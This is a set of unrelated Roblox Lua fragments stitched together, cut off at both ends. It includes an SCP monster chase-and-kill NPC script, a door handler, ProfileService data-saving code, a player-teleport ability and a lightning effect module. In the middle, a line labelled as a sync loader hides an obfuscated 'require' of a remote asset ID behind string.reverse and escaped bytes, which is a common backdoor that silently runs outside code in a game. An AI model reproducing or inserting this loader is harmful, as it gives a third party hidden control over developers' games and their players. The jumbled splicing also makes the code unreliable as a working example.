-0.642787814),i) leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-0.399999619, 0.675328255, 1.86571693, -1.1920929e-07, -1.49011612e-07, -0.99999994, -0.766044557, -0.642787516, 1.34110451e-07, -0.642787397, 0.766044497, -1.1920929e-07),i) lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.602340698, -3.0763092, 1.15816879, 0.934456408, 0.351089299, -0.0593911409, -0.312324613, 0.888258517, 0.336823583, 0.171009839, -0.296197772, 0.939692676),i) righthip.C0 = righthip.C0:lerp(CFrame.new(-0.773321152, -3.47119474, -0.0934143066, 0.938373566, 0.344305009, -0.0301536173, -0.334539622, 0.92673558, 0.17101036, 0.0868241563, -0.150384039, 0.98480773),i) neck.C0 = neck.C0:lerp(CFrame.new(-1.90734863e-06, 2, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),i) heartbeat:wait() end for i = 0.3,0.5 , 0.008 do --rage animation root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.934456408, -0.230774283, -0.271172374, 0.312324822, 0.896951497, 0.312939584, 0.171010077, -0.377122283, 0.910238624),i) rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(-0.800001144, 0.642426491, -1.80661774, 1, 0, 0, 0, -0.642787874, 0.766044259, 0, -0.766044259, -0.642787814),i) leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-0.399999619, 0.675328255, 1.86571693, -1.1920929e-07, -1.49011612e-07, -0.99999994, -0.766044557, -0.642787516, 1.34110451e-07, -0.642787397, 0.766044497, -1.1920929e-07),i) lefthip.C0 = lefthip.C0:lerp(CFrame.new(-0.682954788, -3.65747166, 0.0301790237, 0.970848203, 0.216018811, 0.103873909, -0.186457753, 0.952938259, -0.239044309, -0.150623471, 0.212707579, 0.965436697),i) righthip.C0 = righthip.C0:lerp(CFrame.new(-0.934883118, -2.97838402, -1.17556, 0.949593663, 0.283100039, 0.13463366, -0.20653595, 0.88808161, -0.4106749, -0.235827699, 0.362167627, 0.901787043),i) neck.C0 = neck.C0:lerp(CFrame.new(-1.90734863e-06, 2, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),i) heartbeat:wait() end end raaaaaageeee = false for i = 0,1 , 0.03 do --scream animation root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.939692616, 0.342020154, 0, -0.342020154, 0.939692616, 0, 0, 0, 1),i) rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(0, -0.124749184, -2.85422897, 1, 0, 0, 0, 0.766044497, -0.642787635, 0, 0.642787635, 0.766044438),i) leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(0, -0.124749184, 2.85422897, 1, 0, 1.49011612e-08, 0, 0.766044378, 0.642787695, 0, -0.642787695, 0.766044378),i) lefthip.C0 = lefthip.C0:lerp(CFrame.new(0.751754761, -3.42638397, 0.5, 0.939692616, -0.342020154, 0, 0.342020154, 0.939692616, 0, 0, 0, 1),i) righthip.C0 = righthip.C0:lerp(CFrame.new(0.563816071, -3.29478741, -0.5, 0.939692616, -0.342020154, 0, 0.342020154, 0.939692616, 0, 0, 0, 1),i) neck.C0 = neck.C0:lerp(CFrame.new(0.446411133, 1.97320461, 0, 0.866025448, 0.499999881, 0, -0.499999881, 0.866025448, 0, 0, 0, 1),i) heartbeat:wait() end raaaaaageeee = true wait(1.5) chasesound:Play() running = true local chasethatplayer = true scphumanoid.WalkSpeed = 35 scphumanoid.JumpPower = 50 local function check() --check if scp is really close to the player while wait() do if not chasethatplayer then break end if (torso.Position - victimhead.Position).magnitude < 15 and chasethatplayer then --if player is closer to scp than 10 studs then kill chasethatplayer = false raaaaaageeee = false running = false for i = 0,0.9 , 0.05 do --scream animation root.C0 = root.C0:lerp(CFrame.new(-0.208377838, -1.18176937, 0, 0.173648149, -0.98480773, 0, 0.98480773, 0.173648149, -1.62028714e-25, -1.59567135e-25, -2.81359876e-26, 1) * CFrame.fromEulerAnglesXYZ(-math.pi/2,0,0),i) rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(-1.20717955, 2.69089603, -1.5, -0.866025329, 0.49999994, -1.59567135e-25, -0.49999994, -0.866025329, -2.81359876e-26, 1.52257181e-25, -5.54170842e-26, 1),i) leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-1.20717955, 2.69089603, 1.5, -0.866025329, 0.49999994, -1.59567135e-25, -0.49999994, -0.866025329, -2.81359876e-26, 1.52257181e-25, -5.54170842e-26, 1),i) lefthip.C0 = lefthip.C0:lerp(CFrame.new(0.563815594, -3.29478741, 0.5, 0.939692497, -0.336824059, -0.0593910962, 0.342020094, 0.925416589, 0.163175702, -1.59567135e-25, -0.17364797, 0.984807789),i) righthip.C0 = righthip.C0:lerp(CFrame.new(0.563815594, -3.29478741, -0.5, 0.939692497, -0.342020094, -1.59567135e-25, 0.342020094, 0.939692497, -2.81359876e-26, -1.59567135e-25, 2.81359938e-26, 1),i) neck.C0 = neck.C0:lerp(CFrame.new(0.346410275, 2.19999981, 0, 0.49999994, 0.866025388, -1.59567135e-25, -0.866025388, 0.49999994, -2.81359876e-26, -5.5417078e-26, -1.52257181e-25, 1),i) heartbeat:wait() end face.Texture = "http://www.roblox.com/asset/?id=0" victim:BreakJoints() killsomeone:Play() chasesound:Stop() screamsound:Stop() sitting = true scphumanoid.WalkSpeed = 0 scphumanoid.JumpPower = 0 local function playidleandcanchase() wait(5.5) idlesound:Play() canchase = true end spawn(playidleandcanchase) if game.Players:findFirstChild(victim.Name) then local playergui = game.Players[victim.Name]:findFirstChildOfClass("PlayerGui") if playergui then local deathguiclone = deathgui:Clone() deathguiclone.Parent = playergui local function removegui() wait(5) if deathguiclone.Parent ~= nil then deathguiclone:destroy() end end spawn(removegui) end end ragdollkill(victim) break end end end local howmanymissed = 0 local function chase() screamsound:Play() while wait() and chasethatplayer do if victimhumanoid.Health <= 0 then chasethatplayer = false raaaaaageeee = false idlesound:Play() running = false face.Texture = "http://www.roblox.com/asset/?id=0" chasesound:Stop() screamsound:Stop() sitting = true scphumanoid.WalkSpeed = 0 scphumanoid.JumpPower = 0 canchase = true break end local path = game:GetService("PathfindingService"):FindPathAsync(torso.Position, victimhead.Position) --find the path from scp's torso to victims head local waypoints = path:GetWaypoints() --get the every point of the path if path.Status == Enum.PathStatus.Success then for i,v in pairs(waypoints) do --for every point existing.. if howmanymissed < 4 then local allow = 0 scphumanoid:MoveTo(v.Position) --...walk to it while (torso.Position - v.Position).magnitude > 8 and allow < 20 do --if scp is further than 8 studs, keep walking to it allow = allow + 1 scphumanoid:MoveTo(v.Position) heartbeat:wait() end if allow == 20 then howmanymissed = howmanymissed + 1 end if v.Action == Enum.PathWaypointAction.Jump then scphumanoid.Jump = true end scphumanoid.WalkToPoint = victimhead.Position end end howmanymissed = 0 scphumanoid.WalkToPoint = victimhead.Position end end end spawn(check) --run that check function spawn(chase) --chase end end function dead() wait(5) script.Parent:Destroy() end scphumanoid.Died:connect(dead) function check4ppl() while wait() do for i,v in pairs(workspace:GetChildren()) do --scans all the characters if v.ClassName == "Model" and v.Name ~= scp.Name and canchase then --if player is even spawned local victimhead = v:findFirstChild("Head") --finds head local humanoid = v:findFirstChildOfClass("Humanoid") --finds humanoid if humanoid and victimhead then --if script found humanoid and head if (victimhead.Position - head.Position).magnitude < sight and humanoid.Health > 0 then chase(v) --chase who end end end end end end spawn(check4ppl) while heartbeat:wait() do --check animations and other things if running then --this is the walking animation for i = 0,0.75 , 0.05 do if running then rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(-2.19622421, 2.27327061, -1.57830048, -0.351089299, 0.888258278, -0.296198368, -0.754010975, -0.455760926, -0.473021507, -0.55516088, 0.0572640449, 0.829769373),i) leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-2.31931305, 1.76000595, 1.52594185, -0.336824059, 0.903335214, 0.26558435, -0.820529103, -0.41995579, 0.387774497, 0.461824089, -0.0873079151, 0.882664025),i) lefthip.C0 = lefthip.C0:lerp(CFrame.new(1.21138191, -3.04071045, 0.5, 0.766044378, -0.642787695, 0, 0.642787695, 0.766044378, 0, 0, 0, 1),i) righthip.C0 = righthip.C0:lerp(CFrame.new(-2.25595284, -1.97990799, -0.5, 0.342020154, 0.939692616, 0, -0.939692616, 0.342020154, 0, 0, 0, 1),i) neck.C0 = neck.C0:lerp(CFrame.new(0.446409225, 1.97320557, 0, 0.866025448, 0.499999911, 0, -0.499999911, 0.866025448, 0, 0, 0, 1),i) root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.866025448, -0.499999911, 0, 0.499999911, 0.866025448, 0, 0, 0, 1) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0) * CFrame.fromEulerAnglesXYZ(-0.5,0,0) * CFrame.fromEulerAnglesXYZ(0,0,0.5),i) heartbeat:wait() end end for i = 0,0.75 , 0.05 do if running then rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new( -2.27283096, 1.94459152, -1.79301262, -0.191510916, 0.935729742, -0.296198308, -0.821698189, -0.317904055, -0.473021477, -0.53678298, 0.15279679, 0.829769492),i) leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-2.07076645, 2.13161564, 1.51448631, -0.48856923, 0.831122816, 0.26558429, -0.735139072, -0.556058884, 0.387774587, 0.469968796, -0.00578667223, 0.882664025),i) lefthip.C0 = lefthip.C0:lerp(CFrame.new(-2.51899147, -1.46453857, 0.5, 0.173648268, 0.98480773, 0, -0.98480773, 0.173648268, 0, 0, 0, 1),i) righthip.C0 = righthip.C0:lerp(CFrame.new(1.8448391, -2.40829563, -0.5, 0.342020154, -0.939692557, 0, 0.939692557, 0.342020154, 0, 0, 0, 1),i) neck.C0 = neck.C0:lerp(CFrame.new(0.446409225, 1.97320557, 0, 0.866025448, 0.499999911, 0, -0.499999911, 0.866025448, 0, 0, 0, 1),i) root.C0 = root.C0:lerp(CFrame.new(0, 0, 0, 0.866025448, -0.499999911, 0, 0.499999911, 0.866025448, 0, 0, 0, 1) * CFrame.fromEulerAnglesXYZ(0,-math.pi/2,0) * CFrame.fromEulerAnglesXYZ(-0.5,0,0) * CFrame.fromEulerAnglesXYZ(0,0,0.5),i) heartbeat:wait() end end end if sitting then --this is the sitting animation for i = 0,0.15 , 0.002 do if sitting then root.C0 = root.C0:lerp(CFrame.new(0.277837753, -3.77569246, 0, 0.98480773, -0.173648298, 0, 0.173648298, 0.98480773, 0, 0, 0, 1),i) rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(-1.53501892, 0.0072479248, -0.936183929, 0.499999881, 0.813797832, 0.296198159, -0.866025567, 0.469846159, 0.171010077, 5.96046448e-08, -0.342020154, 0.939692616),i) leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-1.73340797, 0.030960083, 1.0417347, 0.469846249, 0.742043018, -0.478138745, -0.866025567, 0.492403746, -0.0868242159, 0.171009973, 0.454874337, 0.873982251),i) lefthip.C0 = lefthip.C0:lerp(CFrame.new(-1.88126564, 0.0378093719, 0.5, 0.766044378, 0.642787695, 0, -0.642787695, 0.766044378, 0, 0, 0, 1),i) righthip.C0 = righthip.C0:lerp(CFrame.new(-1.77682304, 0.0369753838, -0.5, 0.766044378, 0.642787695, 0, -0.642787695, 0.766044378, 0, 0, 0, 1),i) neck.C0 = neck.C0:lerp(CFrame.new(-0.18793869, 1.93159628, 0, 0.939692616, -0.342020154, 0, 0.342020154, 0.939692616, 0, 0, 0, 1),i) heartbeat:wait() end end if sitting then wait(math.random(20,35)) end for i = 0,0.15 , 0.002 do if sitting then root.C0 = root.C0:lerp(CFrame.new(0.549342155, -3.9154768, 0, 0.99999994, 2.98023224e-08, 0, -2.98023224e-08, 0.99999994, -1.62028714e-25, 4.82883198e-33, -1.62028702e-25, 1),i) rightshoulder.C0 = rightshoulder.C0:lerp(CFrame.new(0.246704102, 1.18243062, -1.44592857, -0.58682394, 0.492403716, 0.642787635, -0.642787457, -0.766044378, -2.80971442e-08, 0.492403954, -0.413175941, 0.766044259),i) leftshoulder.C0 = leftshoulder.C0:lerp(CFrame.new(-0.045042038, 1.23536623, 1.41781616, -0.68977493, 0.291755378, -0.662637949, -0.587524116, -0.760397375, 0.276786745, -0.4231143, 0.580236554, 0.695916593),i) lefthip.C0 = lefthip.C0:lerp(CFrame.new(-1.96706343, -0.110518813, 0.5, 0.766044319, 0.642787457, 4.82883198e-33, -0.642787457, 0.766044319, -1.62028702e-25, 1.04150039e-25, -1.24121187e-25, 1),i) righthip.C0 = righthip.C0:lerp(CFrame.new(-2.03226805, -0.104752898, -0.5, 0.766044378, 0.642787516, 4.82883198e-33, -0.642787516, 0.766044378, -1.62028702e-25, 1.04150051e-25, -1.24121199e-25, 1),i) neck.C0 = neck.C0:lerp(CFrame.new(-0.892820358, 1.94641006, 0, 0.866025269, -0.49999994, 4.82883198e-33, 0.49999994, 0.866025269, -1.62028702e-25, -8.10143448e-26, -1.40320975e-25, 1),i) heartbeat:wait() end end if sitting then wait(math.random(20,35)) end end end
--------END RIGHT DOOR 10--------
end wait(0.1) end until game.Workspace.DoorFlashing.Value == false end end end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--[[ Last synced 4/18/2021 05:54 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--[[ update_settings = { ExistingProfileHandle = function(latest_data), MissingProfileHandle = function(latest_data), EditProfile = function(lastest_data), WipeProfile = nil / true, } --]]
local function StandardProfileUpdateAsyncDataStore(profile_store, profile_key, update_settings, is_user_mock) local loaded_data local wipe_status = false local success, error_message = pcall(function() if update_settings.WipeProfile ~= true then local transform_function = function(latest_data) if latest_data == "PROFILE_WIPED" then latest_data = nil -- Profile was previously wiped - ProfileService will act like it was empty end local missing_profile = false local data_corrupted = false local global_updates_data = {0, {}} if latest_data == nil then missing_profile = true elseif type(latest_data) ~= "table" then missing_profile = true data_corrupted = true end if type(latest_data) == "table" then -- Case #1: Profile was loaded if type(latest_data.Data) == "table" and type(latest_data.MetaData) == "table" and type(latest_data.GlobalUpdates) == "table" then latest_data.WasCorrupted = false -- Must be set to false if set previously global_updates_data = latest_data.GlobalUpdates if update_settings.ExistingProfileHandle ~= nil then update_settings.ExistingProfileHandle(latest_data) end -- Case #2: Profile was not loaded but GlobalUpdate data exists elseif latest_data.Data == nil and latest_data.MetaData == nil and type(latest_data.GlobalUpdates) == "table" then latest_data.WasCorrupted = false -- Must be set to false if set previously global_updates_data = latest_data.GlobalUpdates missing_profile = true else missing_profile = true data_corrupted = true end end -- Case #3: Profile was not created or corrupted and no GlobalUpdate data exists if missing_profile == true then latest_data = { -- Data = nil, -- MetaData = nil, GlobalUpdates = global_updates_data, } if update_settings.MissingProfileHandle ~= nil then update_settings.MissingProfileHandle(latest_data) end end -- Editing profile: if update_settings.EditProfile ~= nil then update_settings.EditProfile(latest_data) end -- Data corruption handling (Silently override with empty profile) (Also run Case #1) if data_corrupted == true then latest_data.WasCorrupted = true -- Temporary tag that will be removed on first save end return latest_data end if is_user_mock == true then -- Used when the profile is accessed through ProfileStore.Mock loaded_data = MockUpdateAsync(UserMockDataStore, profile_store._profile_store_name, profile_key, transform_function) Madwork.HeartbeatWait() -- Simulate API call yield elseif UseMockDataStore == true then -- Used when API access is disabled loaded_data = MockUpdateAsync(MockDataStore, profile_store._profile_store_name, profile_key, transform_function) Madwork.HeartbeatWait() -- Simulate API call yield else loaded_data = profile_store._global_data_store:UpdateAsync(profile_key, transform_function) end else if is_user_mock == true then -- Used when the profile is accessed through ProfileStore.Mock local mock_data_store = UserMockDataStore[profile_store._profile_store_name] if mock_data_store ~= nil then mock_data_store[profile_key] = nil end wipe_status = true Madwork.HeartbeatWait() -- Simulate API call yield elseif UseMockDataStore == true then -- Used when API access is disabled local mock_data_store = MockDataStore[profile_store._profile_store_name] if mock_data_store ~= nil then mock_data_store[profile_key] = nil end wipe_status = true Madwork.HeartbeatWait() -- Simulate API call yield else loaded_data = profile_store._global_data_store:UpdateAsync(profile_key, function() return "PROFILE_WIPED" -- It's impossible to set DataStore keys to nil after they have been set end) if loaded_data == "PROFILE_WIPED" then wipe_status = true end end end end) if update_settings.WipeProfile == true then return wipe_status elseif success == true and type(loaded_data) == "table" then -- Corruption handling: if loaded_data.WasCorrupted == true then RegisterCorruption(profile_store._profile_store_name, profile_key) end -- Return loaded_data: return loaded_data else RegisterIssue((error_message ~= nil) and error_message or "Undefined error", profile_store._profile_store_name, profile_key) -- Return nothing: return nil end end local function RemoveProfileFromAutoSave(profile) local auto_save_index = table.find(AutoSaveList, profile) if auto_save_index ~= nil then table.remove(AutoSaveList, auto_save_index) if auto_save_index < AutoSaveIndex then AutoSaveIndex = AutoSaveIndex - 1 -- Table contents were moved left before AutoSaveIndex so move AutoSaveIndex left as well end if AutoSaveList[AutoSaveIndex] == nil then -- AutoSaveIndex was at the end of the AutoSaveList - reset to 1 AutoSaveIndex = 1 end end end local function AddProfileToAutoSave(profile) -- Notice: Makes sure this profile isn't auto-saved too soon -- Add at AutoSaveIndex and move AutoSaveIndex right: table.insert(AutoSaveList, AutoSaveIndex, profile) if #AutoSaveList > 1 then AutoSaveIndex = AutoSaveIndex + 1 elseif #AutoSaveList == 1 then -- First profile created - make sure it doesn't get immediately auto saved: LastAutoSave = os.clock() end end local function ReleaseProfileInternally(profile) -- 1) Remove profile object from ProfileService references: -- -- Clear reference in ProfileStore: local profile_store = profile._profile_store local loaded_profiles = profile._is_user_mock == true and profile_store._mock_loaded_profiles or profile_store._loaded_profiles loaded_profiles[profile._profile_key] = nil if next(profile_store._loaded_profiles) == nil and next(profile_store._mock_loaded_profiles) == nil then -- ProfileStore has turned inactive local index = table.find(ActiveProfileStores, profile_store) if index ~= nil then table.remove(ActiveProfileStores, index) end end -- Clear auto update reference: RemoveProfileFromAutoSave(profile) -- 2) Trigger release listeners: -- local place_id local game_job_id local active_session = profile.MetaData.ActiveSession if active_session ~= nil then place_id = active_session[1] game_job_id = active_session[2] end for _, listener in ipairs(profile._release_listeners) do listener(place_id, game_job_id) end profile._release_listeners = {} end local function CheckForNewGlobalUpdates(profile, old_global_updates_data, new_global_updates_data) local global_updates_object = profile.GlobalUpdates -- [GlobalUpdates] local pending_update_lock = global_updates_object._pending_update_lock -- {update_id, ...} local pending_update_clear = global_updates_object._pending_update_clear -- {update_id, ...} -- "old_" or "new_" global_updates_data = {update_index, {{update_id, version_id, update_locked, update_data}, ...}} for _, new_global_update in ipairs(new_global_updates_data[2]) do -- Find old global update with the same update_id: local old_global_update for _, global_update in ipairs(old_global_updates_data[2]) do if global_update[1] == new_global_update[1] then old_global_update = global_update break end end -- A global update is new when it didn't exist before or its version_id or update_locked state changed: local is_new = false if old_global_update == nil then is_new = true elseif new_global_update[2] > old_global_update[2] or new_global_update[3] ~= old_global_update[3] then is_new = true end if is_new == true then -- Active global updates: if new_global_update[3] == false then -- Check if update is not pending to be locked: (Preventing firing new active update listeners more than necessary) local is_pending_lock = false for _, update_id in ipairs(pending_update_lock) do if new_global_update[1] == update_id then is_pending_lock = true break end end if is_pending_lock == false then -- Trigger new active update listeners: for _, listener in ipairs(global_updates_object._new_active_update_listeners) do listener(new_global_update[1], new_global_update[4]) end end end -- Locked global updates: if new_global_update[3] == true then -- Check if update is not pending to be cleared: (Preventing firing new locked update listeners after marking a locked update for clearing) local is_pending_clear = false for _, update_id in ipairs(pending_update_clear) do if new_global_update[1] == update_id then is_pending_clear = true break end end if is_pending_clear == false then -- Trigger new locked update listeners: for _, listener in ipairs(global_updates_object._new_locked_update_listeners) do listener(new_global_update[1], new_global_update[4]) -- Check if listener marked the update to be cleared: -- Normally there should be only one listener per profile for new locked global updates, but -- in case several listeners are connected we will not trigger more listeners after one listener -- marks the locked global update to be cleared. for _, update_id in ipairs(pending_update_clear) do if new_global_update[1] == update_id then is_pending_clear = true break end end if is_pending_clear == true then break end end end end end end end local function SaveProfileAsync(profile, release_from_session) if type(profile.Data) ~= "table" then RegisterCorruption(profile._profile_store._profile_store_name, profile._profile_key) error("[ProfileService]: PROFILE DATA CORRUPTED DURING RUNTIME! ProfileStore = \"" .. profile._profile_store._profile_store_name .. "\", Key = \"" .. profile._profile_key .. "\"") end if release_from_session == true then ReleaseProfileInternally(profile) end ActiveProfileSaveJobs = ActiveProfileSaveJobs + 1 local last_session_load_count = profile.MetaData.SessionLoadCount -- Compare "SessionLoadCount" when writing to profile to prevent a rare case of repeat last save when the profile is loaded on the same server again local repeat_save_flag = true -- Released Profile save calls have to repeat until they succeed while repeat_save_flag == true do if release_from_session ~= true then repeat_save_flag = false end local loaded_data = StandardProfileUpdateAsyncDataStore( profile._profile_store, profile._profile_key, { ExistingProfileHandle = nil, MissingProfileHandle = nil, EditProfile = function(latest_data) -- 1) Check if this session still owns the profile: -- local active_session = latest_data.MetaData.ActiveSession local force_load_session = latest_data.MetaData.ForceLoadSession local session_load_count = latest_data.MetaData.SessionLoadCount local session_owns_profile = false local force_load_pending = false if type(active_session) == "table" then session_owns_profile = IsThisSession(active_session) and session_load_count == last_session_load_count end if type(force_load_session) == "table" then force_load_pending = not IsThisSession(force_load_session) end if session_owns_profile == true then -- We may only edit the profile if this session has ownership of the profile -- 2) Manage global updates: -- local latest_global_updates_data = latest_data.GlobalUpdates -- {update_index, {{update_id, version_id, update_locked, update_data}, ...}} local latest_global_updates_list = latest_global_updates_data[2] local global_updates_object = profile.GlobalUpdates -- [GlobalUpdates] local pending_update_lock = global_updates_object._pending_update_lock -- {update_id, ...} local pending_update_clear = global_updates_object._pending_update_clear -- {update_id, ...} -- Active update locking: for i = 1, #latest_global_updates_list do for _, lock_id in ipairs(pending_update_lock) do if latest_global_updates_list[i][1] == lock_id then latest_global_updates_list[i][3] = true break end end end -- Locked update clearing: for _, clear_id in ipairs(pending_update_clear) do for i = 1, #latest_global_updates_list do if latest_global_updates_list[i][1] == clear_id and latest_global_updates_list[i][3] == true then table.remove(latest_global_updates_list, i) break end end end -- 3) Save profile data: -- latest_data.Data = profile.Data latest_data.MetaData.MetaTags = profile.MetaData.MetaTags -- MetaData.MetaTags is the only actively savable component of MetaData latest_data.MetaData.LastUpdate = os.time() if release_from_session == true or force_load_pending == true then latest_data.MetaData.ActiveSession = nil end end end, }, profile._is_user_mock ) if loaded_data ~= nil then repeat_save_flag = false -- 4) Set latest data in profile: -- -- Setting global updates: local global_updates_object = profile.GlobalUpdates -- [GlobalUpdates] local old_global_updates_data = global_updates_object._updates_latest local new_global_updates_data = loaded_data.GlobalUpdates global_updates_object._updates_latest = new_global_updates_data -- Setting MetaData: local keep_session_meta_tag_reference = profile.MetaData.MetaTags profile.MetaData = loaded_data.MetaData profile.MetaData.MetaTagsLatest = profile.MetaData.MetaTags profile.MetaData.MetaTags = keep_session_meta_tag_reference -- 5) Check if session still owns the profile: -- local active_session = loaded_data.MetaData.ActiveSession local force_load_session = loaded_data.MetaData.ForceLoadSession local session_load_count = loaded_data.MetaData.SessionLoadCount local session_owns_profile = false if type(active_session) == "table" then session_owns_profile = IsThisSession(active_session) and session_load_count == last_session_load_count end local is_active = profile:IsActive() if session_owns_profile == true then -- 6) Check for new global updates: -- if is_active == true then -- Profile could've been released before the saving thread finished CheckForNewGlobalUpdates(profile, old_global_updates_data, new_global_updates_data) end else -- Session no longer owns the profile: -- 7) Release profile if it hasn't been released yet: -- if is_active == true then ReleaseProfileInternally(profile) end end elseif repeat_save_flag == true then Madwork.HeartbeatWait() -- Prevent infinite loop in case DataStore API does not yield end end ActiveProfileSaveJobs = ActiveProfileSaveJobs - 1 end
----- Private variables -----
local Camera = workspace.CurrentCamera local Player = Players.LocalPlayer local xSpring = Spring.new(0) local ySpring = Spring.new(1) UserInputService.MouseIconEnabled = false
--
script.Parent.OnServerEvent:Connect(function(p) local Character = p.Character local Humanoid = Character.Humanoid local RootPart = Character.HumanoidRootPart local anim = Humanoid:LoadAnimation(script["anim"]) anim:Play() local vel = Instance.new("BodyVelocity", RootPart) vel.MaxForce = Vector3.new(1,1,1) * 1000000; vel.Parent = RootPart vel.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0 vel.Name = "SmallMoveVel" game.Debris:AddItem(vel,10) wait(6) script.Parent.Parent.VoidStart:Play() DB.Parent = workspace.Effects DM.Parent = workspace.Effects DB.CFrame = RootPart.CFrame * CFrame.new(0,0,0) RootPart.CFrame = workspace["Domain Point"].CFrame * CFrame.new(0,0,0) DM.CFrame = workspace["Domain Point"].CFrame * CFrame.new(0,0,0) local hitcontent = workspace:GetPartBoundsInBox(DB.CFrame, Vector3.new(70, 70, 70)) local hitlist = {} for _,v in pairs(hitcontent) do if v.Parent:FindFirstChild("Humanoid") and v.Parent ~= Character then if not hitlist[v.Parent.Humanoid] then hitlist[v.Parent.Humanoid] = true local RootPart2 = v.Parent.HumanoidRootPart RootPart2.CFrame = workspace["Domain Point"]["Domain Point2"].CFrame * CFrame.new(0,0,0) local velE = Instance.new("BodyVelocity", RootPart2) velE.MaxForce = Vector3.new(1,1,1) * 1000000; velE.Parent = RootPart2 velE.Velocity = Vector3.new(1,1,1) * p.Character:WaitForChild("HumanoidRootPart").CFrame.LookVector * 0 velE.Name = "SmallMoveVel" game.Debris:AddItem(velE,17) end end end wait(4) anim:stop() wait(13) local hitcontent = workspace:GetPartBoundsInBox(DM.CFrame, Vector3.new(300, 300, 300)) local hitlist = {} for _,v in pairs(hitcontent) do if v.Parent:FindFirstChild("Humanoid") and v.Parent ~= Character then if not hitlist[v.Parent.Humanoid] then hitlist[v.Parent.Humanoid] = true local RootPart2 = v.Parent.HumanoidRootPart RootPart2.CFrame = DB.CFrame * CFrame.new(0,0,0) end end end RootPart.CFrame = DB.CFrame * CFrame.new(0,0,0) end)
--Small tip: You don't need to use actual Roblox Attachments below. You can also create "fake" ones as follows: --[[ local A1, A2 = {}, {} A1.WorldPosition, A1.WorldAxis = chosenPos1, chosenAxis1 A2.WorldPosition, A2.WorldAxis = chosenPos2, chosenAxis2 local NewBolt = LightningBolt.new(A1, A2, 40) --]]
function LightningBolt.new(Attachment0, Attachment1, PartCount) local self = setmetatable({}, LightningBolt) --Main (default) Properties-- --Bolt Appearance Properties-- self.Enabled = true --Hides bolt without destroying any parts when false self.Attachment0, self.Attachment1 = Attachment0, Attachment1 --Bolt originates from Attachment0 and ends at Attachment1 self.CurveSize0, self.CurveSize1 = 0, 0 --Works similarly to beams. See https://dk135eecbplh9.cloudfront.net/assets/blt160ad3fdeadd4ff2/BeamCurve1.png self.MinRadius, self.MaxRadius = 0, 2.4 --Governs the amplitude of fluctuations throughout the bolt self.Frequency = 2 --Governs the frequency of fluctuations throughout the bolt. Lower this to remove jittery-looking lightning self.AnimationSpeed = 7 --Governs how fast the bolt oscillates (i.e. how fast the fluctuating wave travels along bolt) self.Thickness = 1 --The thickness of the bolt self.MinThicknessMultiplier, self.MaxThicknessMultiplier = 0.2, 1 --Multiplies Thickness value by a fluctuating random value between MinThicknessMultiplier and MaxThicknessMultiplier along the Bolt --Bolt Kinetic Properties-- --Allows for fading in (or out) of the bolt with time. Can also create a "projectile" bolt --Recommend setting AnimationSpeed to 0 if used as projectile (for better aesthetics) --Works by passing a "wave" function which travels from left to right where the wave height represents opacity (opacity being 1 - Transparency) --See https://www.desmos.com/calculator/hg5h4fpfim to help customise the shape of the wave with the below properties self.MinTransparency, self.MaxTransparency = 0, 1 --See https://www.desmos.com/calculator/hg5h4fpfim self.PulseSpeed = 10 --Bolt arrives at Attachment1 1/PulseSpeed seconds later. See https://www.desmos.com/calculator/hg5h4fpfim self.PulseLength = 1000000 --See https://www.desmos.com/calculator/hg5h4fpfim self.FadeLength = 0.2 --See https://www.desmos.com/calculator/hg5h4fpfim self.ContractFrom = 0.5 --Parts shorten or grow once their Transparency exceeds this value. Set to a value above 1 to turn effect off. See https://imgur.com/OChA441 --Bolt Color Properties-- self.Color = Color3.new(1, 1, 1) --Can be a Color3 or ColorSequence self.ColorOffsetSpeed = 3 --Sets speed at which ColorSequence travels along Bolt -- self.Parts = {} --The BoltParts which make up the Bolt local a0, a1 = Attachment0, Attachment1 local parent = workspace.CurrentCamera local p0, p1, p2, p3 = a0.WorldPosition, a0.WorldPosition + a0.WorldAxis*self.CurveSize0, a1.WorldPosition - a1.WorldAxis*self.CurveSize1, a1.WorldPosition local PrevPoint, bezier0 = p0, p0 local MainBranchN = PartCount or 30 for i = 1, MainBranchN do local t1 = i/MainBranchN local bezier1 = CubicBezier(p0, p1, p2, p3, t1) local NextPoint = i ~= MainBranchN and (CFrame.lookAt(bezier0, bezier1)).Position or bezier1 local BPart = BoltPart:Clone() BPart.Size = Vector3.new((NextPoint - PrevPoint).Magnitude, 0, 0) BPart.CFrame = CFrame.lookAt(0.5*(PrevPoint + NextPoint), NextPoint)*xInverse BPart.Parent = parent BPart.Locked, BPart.CastShadow = true, false self.Parts[i] = BPart PrevPoint, bezier0 = NextPoint, bezier1 end self.PartsHidden = false self.DisabledTransparency = 1 self.StartT = clock() self.RanNum = math.random()*100 self.RefIndex = #ActiveBranches + 1 ActiveBranches[self.RefIndex] = self return self end function LightningBolt:Destroy() ActiveBranches[self.RefIndex] = nil for i = 1, #self.Parts do self.Parts[i]:Destroy() if i%100 == 0 then wait() end end self = nil end local offsetAngle = math.cos(math.rad(90)) game:GetService("RunService").Heartbeat:Connect(function () for _, ThisBranch in pairs(ActiveBranches) do if ThisBranch.Enabled == true then ThisBranch.PartsHidden = false local MinOpa, MaxOpa = 1 - ThisBranch.MaxTransparency, 1 - ThisBranch.MinTransparency local MinRadius, MaxRadius = ThisBranch.MinRadius, ThisBranch.MaxRadius local thickness = ThisBranch.Thickness local Parts = 